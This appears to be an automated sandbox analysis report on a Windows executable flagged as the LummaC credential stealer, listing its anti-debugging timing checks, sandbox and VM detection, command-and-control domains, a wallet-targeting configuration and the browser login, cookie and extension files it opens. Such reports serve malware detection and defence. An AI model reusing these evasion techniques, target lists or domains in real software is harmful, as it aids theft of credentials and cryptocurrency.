Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D72 second address: 4E30D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [7544459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3331238821h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D97 second address: 4E30D9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30D9D second address: 4E30DA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30DA3 second address: 4E30DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30DA7 second address: 4E30DAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E30DAB second address: 4E30E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F33A17FA422h 0x0000000e jmp 00007F333124C7E2h 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edi 0x00000018 pop ecx 0x00000019 pushfd 0x0000001a jmp 00007F333124C7E9h 0x0000001f sub eax, 218E13A6h 0x00000025 jmp 00007F333124C7E1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40033 second address: 4E40037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40037 second address: 4E4004A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E4004A second address: 4E400BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F333123881Fh 0x00000009 sbb cl, FFFFFF9Eh 0x0000000c jmp 00007F3331238829h 0x00000011 popfd 0x00000012 mov dx, ax 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 call 00007F33A17DE308h 0x0000001d push 753E2B70h 0x00000022 push dword ptr fs:[00000000h] 0x00000029 mov eax, dword ptr [esp+10h] 0x0000002d mov dword ptr [esp+10h], ebp 0x00000031 lea ebp, dword ptr [esp+10h] 0x00000035 sub esp, eax 0x00000037 push ebx 0x00000038 push esi 0x00000039 push edi 0x0000003a mov eax, dword ptr [75444538h] 0x0000003f xor dword ptr [ebp-04h], eax 0x00000042 xor eax, ebp 0x00000044 push eax 0x00000045 mov dword ptr [ebp-18h], esp 0x00000048 push dword ptr [ebp-08h] 0x0000004b mov eax, dword ptr [ebp-04h] 0x0000004e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000055 mov dword ptr [ebp-08h], eax 0x00000058 lea eax, dword ptr [ebp-10h] 0x0000005b mov dword ptr fs:[00000000h], eax 0x00000061 ret 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 pushfd 0x00000066 jmp 00007F333123881Fh 0x0000006b adc si, 8BAEh 0x00000070 jmp 00007F3331238829h 0x00000075 popfd 0x00000076 movzx eax, dx 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400BB second address: 4E400C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400C1 second address: 4E400C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400C5 second address: 4E400D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400D5 second address: 4E400D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400D9 second address: 4E400DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E400DD second address: 4E400E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40127 second address: 4E4012B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E4012B second address: 4E40148 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3331238829h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40BC8 second address: 4E40BCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40BCE second address: 4E40BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40BD4 second address: 4E40BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40BD8 second address: 4E40C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333123881Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F333123881Bh 0x00000011 xchg eax, ebp 0x00000012 jmp 00007F3331238826h 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a mov si, 1B1Dh 0x0000001e call 00007F333123881Ah 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	RDTSC instruction interceptor: First address: 4E40D45 second address: 4E40D54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F333124C7DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 5089C8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 508AB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 6B0366 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 6D7B22 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 6C04F8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Special instruction interceptor: First address: 740D4B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: 0_2_00508954 rdtsc

0_2_00508954

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe TID: 3108	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe TID: 3108	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Wvo9FU4qo9.exe, Wvo9FU4qo9.exe, 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: Wvo9FU4qo9.exe, Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547346485.0000000005863000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696497155p
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: Wvo9FU4qo9.exe, 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: Wvo9FU4qo9.exe, 00000000.00000003.1547499986.00000000057F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

API call chain: ExitProcess graph end node

graph_0-15284

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: NTICE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: SICE
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: 0_2_00508954 rdtsc

0_2_00508954

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: 0_2_004EE110 LdrInitializeThunk,

0_2_004EE110

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Wvo9FU4qo9.exe	String found in binary or memory: hummskitnj.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: cashfuzysao.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: appliacnesot.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: screwamusresz.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: inherineau.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: scentniej.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: rebuildeso.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: prisonyfork.buzz
Source: Wvo9FU4qo9.exe	String found in binary or memory: mindhandru.buzz

Source: Wvo9FU4qo9.exe, Wvo9FU4qo9.exe, 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: -Program Manager

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Wvo9FU4qo9.exe, 00000000.00000002.1673430816.000000000583D000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1626808500.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1641117823.000000000583D000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Wvo9FU4qo9.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":["*"],
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \wallets","m":[""],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":[""],"z":"Wallets/ElectronCash","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Guarda\\IndexedDB","m":["*"],
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"ez":"Coinbase","ldb":true},{"en":"hpglfhgfnhbgpjdenjgmdgoeiappafln","ez":"Guarda"},{"en":"blnieiiffboillknjnepogjhkgnoapac","ez":"EQUA"},{"en":"cjelfplplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojp
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ,"m":["*"],"z":"Wallets/Bitcoin core","d":2,"fs":20971520},{"t":0,"p":"%appdata%\\Binance","m":["app-store.json",".finger-print.fp","simple-storage.json","window-state.json"],"z":"Wallets/Binance","d":1,"fs":20971520},{"t":0
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "},{"en":"lpfcbjknijpeeillifnkikgncikgfhdo","ez":"Nami"},{"en":"ejjladinnckdgjemekebdpeokbikhfci","ez":"Petra"},{"en":"opcgpfmipidbgpenhmajoajpbobppdil","ez":"Sui"},{"en":"aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"}X
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152
Source: Wvo9FU4qo9.exe, 00000000.00000003.1602681941.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Wvo9FU4qo9.exe, 00000000.00000002.1671658667.0000000000FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \":{\"iterations\":600000}"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/Exodus","d":2,"fs":2097152

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
